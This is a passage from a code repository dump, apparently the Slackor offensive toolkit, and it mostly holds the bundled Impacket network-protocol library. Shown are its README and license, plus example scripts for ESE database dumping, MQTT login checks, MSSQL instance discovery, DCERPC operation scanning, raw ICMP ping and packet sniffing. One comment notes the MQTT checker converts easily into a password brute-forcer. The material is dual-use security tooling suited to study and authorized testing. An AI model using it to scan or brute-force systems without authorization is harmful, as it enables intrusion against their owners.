h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= 29 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 30 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 31 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc= 32 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 33 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 34 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7 h1:rTIdg5QFRR7XCaK4LCjBiPbx8j4DQRpdYMnGn/bJUEU= 35 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 36 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 37 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 38 | golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7 h1:LepdCS8Gf/MVejFIt8lsiexZATdoGVyp5bcyS+rYoUI= 39 | golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 40 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 41 | -------------------------------------------------------------------------------- /icon.example.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/icon.example.ico -------------------------------------------------------------------------------- /impacket/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # bak files 47 | *.bak 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | 56 | # Sphinx documentation 57 | docs/_build/ 58 | 59 | # PyBuilder 60 | target/ 61 | 62 | # macOS 63 | .DS_Store 64 | 65 | # PyCharm 66 | .idea 67 | -------------------------------------------------------------------------------- /impacket/.travis.yml: -------------------------------------------------------------------------------- 1 | group: travis_latest 2 | language: python 3 | cache: pip 4 | 5 | matrix: 6 | include: 7 | - python: 2.7 8 | env: NO_REMOTE=true, TOXENV=py27 9 | - python: 3.6 10 | env: NO_REMOTE=true, TOXENV=py36 11 | - python: 3.7 12 | env: NO_REMOTE=true, TOXENV=py37 13 | dist: xenial # required for Python >= 3.7 14 | 15 | install: pip install flake8 tox -r requirements.txt 16 | 17 | before_script: 18 | # stop the build if there are Python syntax errors or undefined names 19 | - flake8 . --count --select=E9,F72,F82 --show-source --statistics 20 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 21 | - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics 22 | 23 | script: tox 24 | -------------------------------------------------------------------------------- /impacket/LICENSE: -------------------------------------------------------------------------------- 1 | Licencing 2 | --------- 3 | 4 | We provide this software under a slightly modified version of the 5 | Apache Software License. The only changes to the document were the 6 | replacement of "Apache" with "Impacket" and "Apache Software Foundation" 7 | with "SecureAuth Corporation". Feel free to compare the resulting 8 | document to the official Apache license. 9 | 10 | The `Apache Software License' is an Open Source Initiative Approved 11 | License. 12 | 13 | 14 | The Apache Software License, Version 1.1 15 | Modifications by SecureAuth Corporation (see above) 16 | 17 | Copyright (c) 2000 The Apache Software Foundation. All rights 18 | reserved. 19 | 20 | Redistribution and use in source and binary forms, with or without 21 | modification, are permitted provided that the following conditions 22 | are met: 23 | 24 | 1. Redistributions of source code must retain the above copyright 25 | notice, this list of conditions and the following disclaimer. 26 | 27 | 2. Redistributions in binary form must reproduce the above copyright 28 | notice, this list of conditions and the following disclaimer in 29 | the documentation and/or other materials provided with the 30 | distribution. 31 | 32 | 3. The end-user documentation included with the redistribution, 33 | if any, must include the following acknowledgment: 34 | "This product includes software developed by 35 | SecureAuth Corporation (https://www.secureauth.com/)." 36 | Alternately, this acknowledgment may appear in the software itself, 37 | if and wherever such third-party acknowledgments normally appear. 38 | 39 | 4. The names "Impacket", "SecureAuth Corporation" must 40 | not be used to endorse or promote products derived from this 41 | software without prior written permission. For written 42 | permission, please contact oss@secureauth.com. 43 | 44 | 5. Products derived from this software may not be called "Impacket", 45 | nor may "Impacket" appear in their name, without prior written 46 | permission of SecureAuth Corporation. 47 | 48 | THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED 49 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 50 | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 51 | DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR 52 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 53 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 54 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF 55 | USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 56 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 57 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 58 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 59 | SUCH DAMAGE. 60 | 61 | 62 | 63 | Smb.py and nmb.py are based on Pysmb by Michael Teo 64 | (https://miketeo.net/projects/pysmb/), and are distributed under the 65 | following license: 66 | 67 | This software is provided 'as-is', without any express or implied 68 | warranty. In no event will the author be held liable for any damages 69 | arising from the use of this software. 70 | 71 | Permission is granted to anyone to use this software for any purpose, 72 | including commercial applications, and to alter it and redistribute it 73 | freely, subject to the following restrictions: 74 | 75 | 1. The origin of this software must not be misrepresented; you must 76 | not claim that you wrote the original software. If you use this 77 | software in a product, an acknowledgment in the product 78 | documentation would be appreciated but is not required. 79 | 80 | 2. Altered source versions must be plainly marked as such, and must 81 | not be misrepresented as being the original software. 82 | 83 | 3. This notice cannot be removed or altered from any source 84 | distribution. 85 | -------------------------------------------------------------------------------- /impacket/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include ChangeLog 4 | include requirements.txt 5 | include requirements_examples.txt 6 | include tox.ini 7 | recursive-include examples tests *.txt *.py 8 | recursive-include tests * 9 | -------------------------------------------------------------------------------- /impacket/README.md: -------------------------------------------------------------------------------- 1 | What is Impacket? 2 | ================= 3 | 4 | Impacket is a collection of Python classes for working with network 5 | protocols. Impacket is focused on providing low-level 6 | programmatic access to the packets and for some protocols (e.g. 7 | SMB1-3 and MSRPC) the protocol implementation itself. 8 | Packets can be constructed from scratch, as well as parsed from 9 | raw data, and the object oriented API makes it simple to work with 10 | deep hierarchies of protocols. The library provides a set of tools 11 | as examples of what can be done within the context of this library. 12 | 13 | A description of some of the tools can be found at: 14 | https://www.secureauth.com/labs/open-source-tools/impacket 15 | 16 | What protocols are featured? 17 | ---------------------------- 18 | 19 | * Ethernet, Linux "Cooked" capture. 20 | * IP, TCP, UDP, ICMP, IGMP, ARP. 21 | * IPv4 and IPv6 Support. 22 | * NMB and SMB1, SMB2 and SMB3 (high-level implementations). 23 | * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP. 24 | * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys. 25 | * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI. 26 | * Portions of TDS (MSSQL) and LDAP protocol implementations. 27 | 28 | 29 | Getting Impacket 30 | ================ 31 | 32 | * [Current and past releases](https://github.com/SecureAuthCorp/impacket/releases) 33 | * [Trunk](https://github.com/SecureAuthCorp/impacket) 34 | 35 | Setup 36 | ===== 37 | 38 | Quick start 39 | ----------- 40 | 41 | Grab the latest stable release, unpack it and run `pip install .` from the directory where you placed it. Isn't that easy? 42 | 43 | 44 | Requirements 45 | ============ 46 | 47 | * A Python interpreter. Python 2.6/2.7 and Python 3.6 are known to work. 48 | 1. If you want to run the examples and you have Python < 2.7, you 49 | will need to install the `argparse` package for them to work. 50 | 2. For Kerberos support you will need `pyasn1` package 51 | 3. For cryptographic operations you will need `pycryptodomex` package 52 | 4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py) 53 | 5. For ntlmrelayx.py you will also need `ldapdomaindump`, `flask` and `ldap3` 54 | 6. If you're under Windows, you will need `pyReadline` 55 | * A recent release of Impacket. 56 | 57 | Installing 58 | ---------- 59 | 60 | In order to install the source execute the following command from the 61 | directory where the Impacket's distribution has been unpacked: `pip install .` 62 | This will install the classes into the default 63 | Python modules path; note that you might need special permissions to 64 | write there. For more information on what commands and options are 65 | available from setup.py, run `python setup.py --help-commands`. 66 | 67 | Testing 68 | ------- 69 | 70 | If you want to run the library test cases you need to do mainly three things: 71 | 72 | 1. Install and configure a Windows 2012 R2 Domain Controller. 73 | * Be sure the RemoteRegistry service is enabled and running. 74 | 2. Configure the [dcetest.cfg](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/tests/SMB_RPC/dcetests.cfg) file with the necessary information 75 | 3. Install tox (`pip install tox`) 76 | 77 | Once that's done, you can run `tox` and wait for the results. If all goes well, all test cases should pass. 78 | You will also have a coverage HTML report located at `impacket/tests/htlmcov/index.html` 79 | 80 | Licensing 81 | ========= 82 | 83 | This software is provided under under a slightly modified version of 84 | the Apache Software License. See the accompanying LICENSE file for 85 | more information. 86 | 87 | SMBv1 and NetBIOS support based on Pysmb by Michael Teo. 88 | 89 | 90 | Contact Us 91 | ========== 92 | 93 | Whether you want to report a bug, send a patch or give some 94 | suggestions on this package, drop us a few lines at 95 | oss@secureauth.com. 96 | -------------------------------------------------------------------------------- /impacket/examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: 9 | # ESE utility. Allows dumping catalog, pages and tables. 10 | # 11 | # Author: 12 | # Alberto Solino (@agsolino) 13 | # 14 | # 15 | # Reference for: 16 | # Extensive Storage Engine (ese) 17 | # 18 | from __future__ import division 19 | from __future__ import print_function 20 | import sys 21 | import logging 22 | import argparse 23 | 24 | from impacket.examples import logger 25 | from impacket import version 26 | from impacket.ese import ESENT_DB 27 | 28 | 29 | def dumpPage(ese, pageNum): 30 | data = ese.getPage(pageNum) 31 | data.dump() 32 | 33 | def exportTable(ese, tableName): 34 | cursor = ese.openTable(tableName) 35 | if cursor is None: 36 | logging.error('Can"t get a cursor for table: %s' % tableName) 37 | return 38 | 39 | i = 1 40 | print("Table: %s" % tableName) 41 | while True: 42 | try: 43 | record = ese.getNextRow(cursor) 44 | except Exception: 45 | logging.debug('Exception:', exc_info=True) 46 | logging.error('Error while calling getNextRow(), trying the next one') 47 | continue 48 | 49 | if record is None: 50 | break 51 | print("*** %d" % i) 52 | for j in list(record.keys()): 53 | if record[j] is not None: 54 | print("%-30s: %r" % (j, record[j])) 55 | i += 1 56 | 57 | def main(): 58 | print(version.BANNER) 59 | # Init the example's logger theme 60 | logger.init() 61 | 62 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 63 | "catalog, pages and tables.") 64 | parser.add_argument('databaseFile', action='store', help='ESE to open') 65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 66 | parser.add_argument('-page', action='store', help='page to open') 67 | 68 | subparsers = parser.add_subparsers(help='actions', dest='action') 69 | 70 | # dump page 71 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 72 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 73 | 74 | # info page 75 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 76 | 77 | # export page 78 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 79 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 80 | 81 | if len(sys.argv)==1: 82 | parser.print_help() 83 | sys.exit(1) 84 | 85 | options = parser.parse_args() 86 | 87 | if options.debug is True: 88 | logging.getLogger().setLevel(logging.DEBUG) 89 | else: 90 | logging.getLogger().setLevel(logging.INFO) 91 | 92 | ese = ESENT_DB(options.databaseFile) 93 | 94 | try: 95 | if options.action.upper() == 'INFO': 96 | ese.printCatalog() 97 | elif options.action.upper() == 'DUMP': 98 | dumpPage(ese, int(options.page)) 99 | elif options.action.upper() == 'EXPORT': 100 | exportTable(ese, options.table) 101 | else: 102 | raise Exception('Unknown action %s ' % options.action) 103 | except Exception as e: 104 | if logging.getLogger().level == logging.DEBUG: 105 | import traceback 106 | traceback.print_exc() 107 | print(e) 108 | ese.close() 109 | 110 | 111 | if __name__ == '__main__': 112 | main() 113 | sys.exit(1) 114 | -------------------------------------------------------------------------------- /impacket/examples/mqtt_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Author: Alberto Solino (@agsolino) 9 | # 10 | # Description: 11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password 12 | # brute forcer quite easily. 13 | # 14 | # Reference for: 15 | # MQTT and Structure 16 | # 17 | # 18 | 19 | from __future__ import print_function 20 | 21 | import argparse 22 | import logging 23 | import re 24 | import sys 25 | 26 | from impacket import version 27 | from impacket.examples import logger 28 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection 29 | 30 | class MQTT_LOGIN: 31 | def __init__(self, username, password, target, options): 32 | self._options = options 33 | self._username = username 34 | self._password = password 35 | self._target = target 36 | 37 | if self._username == '': 38 | self._username = None 39 | 40 | def run(self): 41 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) 42 | 43 | if self._options.client_id is None: 44 | clientId = ' ' 45 | else: 46 | clientId = self._options.client_id 47 | 48 | mqtt.connect(clientId, self._username, self._password) 49 | 50 | logging.info(CONNECT_ACK_ERROR_MSGS[0]) 51 | 52 | if __name__ == '__main__': 53 | # Init the example's logger theme 54 | logger.init() 55 | print(version.BANNER) 56 | parser = argparse.ArgumentParser(add_help=False, 57 | description="MQTT login check") 58 | parser.add_argument("--help", action="help", help='show this help message and exit') 59 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 60 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') 61 | parser.add_argument('-ssl', action='store_true', help='turn SSL on') 62 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') 63 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 64 | 65 | try: 66 | options = parser.parse_args() 67 | except Exception as e: 68 | logging.error(str(e)) 69 | sys.exit(1) 70 | 71 | if options.debug is True: 72 | logging.getLogger().setLevel(logging.DEBUG) 73 | else: 74 | logging.getLogger().setLevel(logging.INFO) 75 | 76 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 77 | options.target).groups('') 78 | 79 | #In case the password contains '@' 80 | if '@' in address: 81 | password = password + '@' + address.rpartition('@')[0] 82 | address = address.rpartition('@')[2] 83 | 84 | check_mqtt = MQTT_LOGIN(username, password, address, options) 85 | try: 86 | check_mqtt.run() 87 | except Exception as e: 88 | if logging.getLogger().level == logging.DEBUG: 89 | import traceback 90 | traceback.print_exc() 91 | logging.error(e) 92 | -------------------------------------------------------------------------------- /impacket/examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: [MC-SQLR] example. Retrieves the instances names from the target host 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Reference for: 14 | # Structure 15 | # 16 | 17 | from __future__ import division 18 | from __future__ import print_function 19 | import argparse 20 | import sys 21 | import logging 22 | 23 | from impacket.examples import logger 24 | from impacket import version, tds 25 | 26 | if __name__ == '__main__': 27 | 28 | print(version.BANNER) 29 | # Init the example's logger theme 30 | logger.init() 31 | 32 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 33 | 34 | parser.add_argument('host', action='store', help='target host') 35 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 36 | 37 | if len(sys.argv)==1: 38 | parser.print_help() 39 | sys.exit(1) 40 | 41 | options = parser.parse_args() 42 | 43 | ms_sql = tds.MSSQL(options.host) 44 | instances = ms_sql.getInstances(int(options.timeout)) 45 | if len(instances) == 0: 46 | "No MSSQL Instances found" 47 | else: 48 | for i, instance in enumerate(instances): 49 | logging.info("Instance %d" % i) 50 | for key in list(instance.keys()): 51 | print(key + ":" + instance[key]) 52 | -------------------------------------------------------------------------------- /impacket/examples/opdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """opdump - scan for operations on a given DCERPC interface 3 | 4 | Usage: opdump.py hostname port interface version 5 | 6 | This binds to the given hostname:port and DCERPC interface. Then, it tries to 7 | call each of the first 256 operation numbers in turn and reports the outcome 8 | of each call. 9 | 10 | This will generate a burst of TCP connections to the given host:port! 11 | 12 | Example: 13 | $ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0 14 | op 0 (0x00): rpc_x_bad_stub_data 15 | op 1 (0x01): rpc_x_bad_stub_data 16 | op 2 (0x02): rpc_x_bad_stub_data 17 | op 3 (0x03): success 18 | op 4 (0x04): rpc_x_bad_stub_data 19 | ops 5-255: nca_s_op_rng_error 20 | 21 | rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an 22 | operation at that number. 23 | 24 | Author: Catalin Patulea 25 | """ 26 | from __future__ import division 27 | from __future__ import print_function 28 | import sys 29 | 30 | from impacket.examples import logger 31 | from impacket import uuid 32 | from impacket.dcerpc.v5 import transport 33 | 34 | 35 | def main(args): 36 | if len(args) != 4: 37 | print("usage: opdump.py hostname port interface version") 38 | return 1 39 | 40 | host, port, interface, version = args[0], int(args[1]), args[2], args[3] 41 | 42 | stringbinding = "ncacn_ip_tcp:%s" % host 43 | trans = transport.DCERPCTransportFactory(stringbinding) 44 | trans.set_dport(port) 45 | 46 | results = [] 47 | for i in range(256): 48 | dce = trans.get_dce_rpc() 49 | dce.connect() 50 | 51 | iid = uuid.uuidtup_to_bin((interface, version)) 52 | dce.bind(iid) 53 | 54 | dce.call(i, "") 55 | try: 56 | dce.recv() 57 | except Exception as e: 58 | result = str(e) 59 | else: 60 | result = "success" 61 | 62 | dce.disconnect() 63 | 64 | results.append(result) 65 | 66 | # trim duplicate suffixes from the back 67 | suffix = results[-1] 68 | while results and results[-1] == suffix: 69 | results.pop() 70 | 71 | for i, result in enumerate(results): 72 | print("op %d (0x%02x): %s" % (i, i, result)) 73 | 74 | print("ops %d-%d: %s" % (len(results), 255, suffix)) 75 | 76 | if __name__ == "__main__": 77 | # Init the example's logger theme 78 | logger.init() 79 | sys.exit(main(sys.argv[1:])) 80 | -------------------------------------------------------------------------------- /impacket/examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple ICMP ping. 9 | # 10 | # This implementation of ping uses the ICMP echo and echo-reply packets 11 | # to check the status of a host. If the remote host is up, it should reply 12 | # to the echo probe with an echo-reply packet. 13 | # Note that this isn't a definite test, as in the case the remote host is up 14 | # but refuses to reply the probes. 15 | # Also note that the user must have special access to be able to open a raw 16 | # socket, which this program requires. 17 | # 18 | # Authors: 19 | # Gerardo Richarte 20 | # Javier Kohen 21 | # 22 | # Reference for: 23 | # ImpactPacket: IP, ICMP, DATA. 24 | # ImpactDecoder. 25 | 26 | import select 27 | import socket 28 | import time 29 | import sys 30 | 31 | from impacket import ImpactDecoder, ImpactPacket 32 | 33 | if len(sys.argv) < 3: 34 | print("Use: %s " % sys.argv[0]) 35 | sys.exit(1) 36 | 37 | src = sys.argv[1] 38 | dst = sys.argv[2] 39 | 40 | # Create a new IP packet and set its source and destination addresses. 41 | 42 | ip = ImpactPacket.IP() 43 | ip.set_ip_src(src) 44 | ip.set_ip_dst(dst) 45 | 46 | # Create a new ICMP packet of type ECHO. 47 | 48 | icmp = ImpactPacket.ICMP() 49 | icmp.set_icmp_type(icmp.ICMP_ECHO) 50 | 51 | # Include a 156-character long payload inside the ICMP packet. 52 | icmp.contains(ImpactPacket.Data("A"*156)) 53 | 54 | # Have the IP packet contain the ICMP packet (along with its payload). 55 | ip.contains(icmp) 56 | 57 | # Open a raw socket. Special permissions are usually required. 58 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 59 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 60 | 61 | seq_id = 0 62 | while 1: 63 | # Give the ICMP packet the next ID in the sequence. 64 | seq_id += 1 65 | icmp.set_icmp_id(seq_id) 66 | 67 | # Calculate its checksum. 68 | icmp.set_icmp_cksum(0) 69 | icmp.auto_checksum = 1 70 | 71 | # Send it to the target host. 72 | s.sendto(ip.get_packet(), (dst, 0)) 73 | 74 | # Wait for incoming replies. 75 | if s in select.select([s],[],[],1)[0]: 76 | reply = s.recvfrom(2000)[0] 77 | 78 | # Use ImpactDecoder to reconstruct the packet hierarchy. 79 | rip = ImpactDecoder.IPDecoder().decode(reply) 80 | # Extract the ICMP packet from its container (the IP packet). 81 | ricmp = rip.child() 82 | 83 | # If the packet matches, report it to the user. 84 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 85 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 86 | 87 | time.sleep(1) 88 | -------------------------------------------------------------------------------- /impacket/examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple ICMP6 ping. 9 | # 10 | # This implementation of ping uses the ICMP echo and echo-reply packets 11 | # to check the status of a host. If the remote host is up, it should reply 12 | # to the echo probe with an echo-reply packet. 13 | # Note that this isn't a definite test, as in the case the remote host is up 14 | # but refuses to reply the probes. 15 | # Also note that the user must have special access to be able to open a raw 16 | # socket, which this program requires. 17 | # 18 | # Authors: 19 | # Alberto Solino (@agsolino) 20 | # 21 | # Reference for: 22 | # ImpactPacket: ICMP6 23 | # ImpactDecoder. 24 | 25 | import select 26 | import socket 27 | import time 28 | import sys 29 | 30 | from impacket import ImpactDecoder, IP6, ICMP6, version 31 | 32 | print(version.BANNER) 33 | 34 | if len(sys.argv) < 3: 35 | print("Use: %s " % sys.argv[0]) 36 | sys.exit(1) 37 | 38 | src = sys.argv[1] 39 | dst = sys.argv[2] 40 | 41 | # Create a new IP packet and set its source and destination addresses. 42 | 43 | ip = IP6.IP6() 44 | ip.set_ip_src(src) 45 | ip.set_ip_dst(dst) 46 | ip.set_traffic_class(0) 47 | ip.set_flow_label(0) 48 | ip.set_hop_limit(64) 49 | 50 | # Open a raw socket. Special permissions are usually required. 51 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 52 | 53 | payload = "A"*156 54 | 55 | print("PING %s %d data bytes" % (dst, len(payload))) 56 | seq_id = 0 57 | while 1: 58 | # Give the ICMP packet the next ID in the sequence. 59 | seq_id += 1 60 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 61 | 62 | # Have the IP packet contain the ICMP packet (along with its payload). 63 | ip.contains(icmp) 64 | ip.set_next_header(ip.child().get_ip_protocol_number()) 65 | ip.set_payload_length(ip.child().get_size()) 66 | icmp.calculate_checksum() 67 | 68 | # Send it to the target host. 69 | s.sendto(icmp.get_packet(), (dst, 0)) 70 | 71 | # Wait for incoming replies. 72 | if s in select.select([s],[],[],1)[0]: 73 | reply = s.recvfrom(2000)[0] 74 | 75 | # Use ImpactDecoder to reconstruct the packet hierarchy. 76 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 77 | 78 | # If the packet matches, report it to the user. 79 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 80 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())) 81 | 82 | time.sleep(1) 83 | -------------------------------------------------------------------------------- /impacket/examples/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple packet sniffer. 9 | # 10 | # This packet sniffer uses the pcap library to listen for packets in 11 | # transit over the specified interface. The returned packages can be 12 | # filtered according to a BPF filter (see tcpdump(3) for further 13 | # information on BPF filters). 14 | # 15 | # Note that the user might need special permissions to be able to use pcap. 16 | # 17 | # Authors: 18 | # Maximiliano Caceres 19 | # Javier Kohen 20 | # 21 | # Reference for: 22 | # pcapy: findalldevs, open_live. 23 | # ImpactDecoder. 24 | 25 | import sys 26 | from threading import Thread 27 | import pcapy 28 | from pcapy import findalldevs, open_live 29 | 30 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 31 | 32 | 33 | class DecoderThread(Thread): 34 | def __init__(self, pcapObj): 35 | # Query the type of the link and instantiate a decoder accordingly. 36 | datalink = pcapObj.datalink() 37 | if pcapy.DLT_EN10MB == datalink: 38 | self.decoder = EthDecoder() 39 | elif pcapy.DLT_LINUX_SLL == datalink: 40 | self.decoder = LinuxSLLDecoder() 41 | else: 42 | raise Exception("Datalink type not supported: " % datalink) 43 | 44 | self.pcap = pcapObj 45 | Thread.__init__(self) 46 | 47 | def run(self): 48 | # Sniff ad infinitum. 49 | # PacketHandler shall be invoked by pcap for every packet. 50 | self.pcap.loop(0, self.packetHandler) 51 | 52 | def packetHandler(self, hdr, data): 53 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 54 | # of ImpactPacket instances. 55 | # Display the packet in human-readable form. 56 | print(self.decoder.decode(data)) 57 | 58 | 59 | def getInterface(): 60 | # Grab a list of interfaces that pcap is able to listen on. 61 | # The current user will be able to listen from all returned interfaces, 62 | # using open_live to open them. 63 | ifs = findalldevs() 64 | 65 | # No interfaces available, abort. 66 | if 0 == len(ifs): 67 | print("You don't have enough permissions to open any interface on this system.") 68 | sys.exit(1) 69 | 70 | # Only one interface available, use it. 71 | elif 1 == len(ifs): 72 | print('Only one interface present, defaulting to it.') 73 | return ifs[0] 74 | 75 | # Ask the user to choose an interface from the list. 76 | count = 0 77 | for iface in ifs: 78 | print('%i - %s' % (count, iface)) 79 | count += 1 80 | idx = int(input('Please select an interface: ')) 81 | 82 | return ifs[idx] 83 | 84 | def main(filter): 85 | dev = getInterface() 86 | 87 | # Open interface for catpuring. 88 | p = open_live(dev, 1500, 0, 100) 89 | 90 | # Set the BPF filter. See tcpdump(3). 91 | p.setfilter(filter) 92 | 93 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) 94 | 95 | # Start sniffing thread and finish main thread. 96 | DecoderThread(p).start() 97 | 98 | # Process command-line arguments. Take everything as a BPF filter to pass 99 | # onto pcap. Default to the empty filter (match all). 100 | filter = '' 